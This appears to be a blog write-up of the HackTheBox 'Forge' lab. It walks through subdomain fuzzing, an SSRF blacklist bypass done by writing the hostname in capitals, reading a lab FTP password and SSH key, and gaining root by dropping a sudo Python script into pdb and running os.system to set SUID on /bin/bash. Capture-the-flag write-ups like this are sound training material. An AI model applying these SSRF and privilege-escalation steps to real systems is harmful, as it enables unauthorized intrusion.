Forge HackTheBox Write-up| Forge hack the box Walk through | 10.10.11.111 | forge.htb

Aditya Chauhan
5 min readSep 16, 2021

Recon

NMAP

# Nmap 7.91 scan initiated Sun Sep 12 14:21:47 2021 as: nmap -sC -sV -oA forge -Pn 10.10.11.111

Nmap scan report for 10.10.11.111

Host is up (0.21s latency).

Not shown: 997 closed ports

PORT STATE SERVICE VERSION

21/tcp filtered ftp

22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)

| 256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)

|_ 256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)

80/tcp open http Apache httpd 2.4.41

|_http-server-header: Apache/2.4.41 (Ubuntu)

|_http-title: Did not follow redirect to http://forge.htb

Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Sun Sep 12 14:22:14 2021–1 IP address (1 host up) scanned in 27.09 seconds

Host enum

ffuf -w /usr/share/SecLists/Discovery/DNS/shubs-subdomains.txt -u http://forge.htb/ -H “Host: FUZZ.forge.htb” -t 200 -fl 10

ffuf -w /usr/share/SecLists/Discovery/DNS/shubs-subdomains.txt -u http://forge.htb/ -H “Host: FUZZ.forge.htb” -t 200 -fl 10

/’___\ /’___\ /’___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v1.3.1 Kali Exclusive ❤
________________________________________________

:: Method : GET
:: URL :
http://forge.htb/
:: Wordlist : FUZZ: /usr/share/SecLists/Discovery/DNS/shubs-subdomains.txt
:: Header : Host: FUZZ.forge.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response lines: 10
________________________________________________

admin [Status: 200, Size: 27, Words: 4, Lines: 2]

found subdomain called admin

admin.fogre.htb

On visiting the subdomain I was presented with the below image.

if we go to forge.htb/uploads endpoint we can see interesting option to upload files via link

if we try to access 127.0.0.1 from here we gests blacklisted domian

same for the admin.forge.htb

but we can easily byepass this by using admin.forge.htb in all caps

http://ADMIN.FORGE.HTB/

so after doing this we curl this link using curl cmd in terminal

curl http://forge.htb/uploads/R7Dl5h466PkWBgNjh0mx
<!DOCTYPE html>
<html>
<head>
<title>Admin Portal</title>
</head>
<body>
<link rel=”stylesheet” type=”text/css” href=”/static/css/main.css”>
<header>
<nav>
<h1 class=””><a href=”/”>Portal home</a></h1>
<h1 class=”align-right margin-right”><a href=”/announcements”>Announcements</a></h1>
<h1 class=”align-right”><a href=”/upload”>Upload image</a></h1>
</nav>
</header>
<br><br><br><br>
<br><br><br><br>
<center><h1>Welcome Admins!</h1></center>
</body>
</html>

so we view this endpoint found a directory called /announcements

http://ADMIN.FORGE.HTB/announcements

after curl this link we got something interesting

<!DOCTYPE html>
<html>
<head>
<title>Announcements</title>
</head>
<body>
<link rel=”stylesheet” type=”text/css” href=”/static/css/main.css”>
<link rel=”stylesheet” type=”text/css” href=”/static/css/announcements.css”>
<header>
<nav>
<h1 class=””><a href=”/”>Portal home</a></h1>
<h1 class=”align-right margin-right”><a href=”/announcements”>Announcements</a></h1>
<h1 class=”align-right”><a href=”/upload”>Upload image</a></h1>
</nav>
</header>
<br><br><br>
<ul>
<li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
<li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
<li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>
</ul>
</body>
</html>

and we have interesting stuff

An internal ftp server has been setup with credentials as user:heightofsecuirty123!

The /upload endpoint now supports ftp,ftps,http amd https protocols for uploding form url

The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image , one can simply pass a url with ?u=.

lest try to access ftp by passing the ftp url in get param to the admin vhost

http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB

and we can content of ftp

curl http://forge.htb/uploads/igC8Bofx57rB3iW9B8Hc
drwxr-xr-x 3 1000 1000 4096 Aug 04 19:23 snap
-rw-r — — — 1 0 1000 33 Sep 16 04:22 user.txt

so this must be the home directory for the user so we checked the ssh key and found it .

http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB/.ssh/id_rsa

and we got that ssh key

for now w only have one username wiche us user we found this from the ftp so lets try ssh with this username

ssh -i id_rsa user@forge.htb

after ssh in we get user flag fater get user flag we trying for root we see that we can run a script a root

user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on forge:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
user@forge:~$

lest cat remote-manage.py file

cat /opt/remote-manage.py
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((‘127.0.0.1’, port))
sock.listen(1)
print(f’Listening on localhost:{port}’)
(clientsock, addr) = sock.accept()
clientsock.send(b’Enter the secret passsword: ‘)
if clientsock.recv(1024).strip().decode() != ‘secretadminpassword’:
clientsock.send(b’Wrong password!\n’)
else:
clientsock.send(b’Welcome admin!\n’)
while True:
clientsock.send(b’\nWhat do you wanna do: \n’)
clientsock.send(b’[1] View processes\n’)
clientsock.send(b’[2] View free memory\n’)
clientsock.send(b’[3] View listening sockets\n’)
clientsock.send(b’[4] Quit\n’)
option = int(clientsock.recv(1024).strip())
if option == 1:
clientsock.send(subprocess.getoutput(‘ps aux’).encode())
elif option == 2:
clientsock.send(subprocess.getoutput(‘df’).encode())
elif option == 3:
clientsock.send(subprocess.getoutput(‘ss -lnt’).encode())
elif option == 4:
clientsock.send(b’Bye\n’)
break
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
finally:
quit()

We can clearly see that if we manage to create some error so we go to the except handler inside Python Debugger and as we running it as root so we can easily execute command with os module in the system.For that we need two ssh connection one is for start the server and second is for connect to the server.

1st ssh connection i run this cmd

sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:22894

and 2nd ssh connection i run this cmd

nc localhost 22894

nc localhost 22894
Enter the secret passsword: secretadminpassword
Welcome admin!

What do you wanna do:
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit

sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:22894
invalid literal for int() with base 10: b’ADITYACHAUHAN’
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) import os
(Pdb) os.system(‘chmod u+s /bin/bash’)
0
(Pdb) exit
user@forge:~$ /bin/bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
d8f05b442d22cebde2e
bash-5.0#

and we got root flag

--

--

Aditya Chauhan

ISO 27001 LA | VAPT | Synack Red Teamer | HTB Dante | HTB RASTA | HTB Cybernetics | HTB Offshore | HTB APTLabs | Cyber Security Analyst | Security Researcher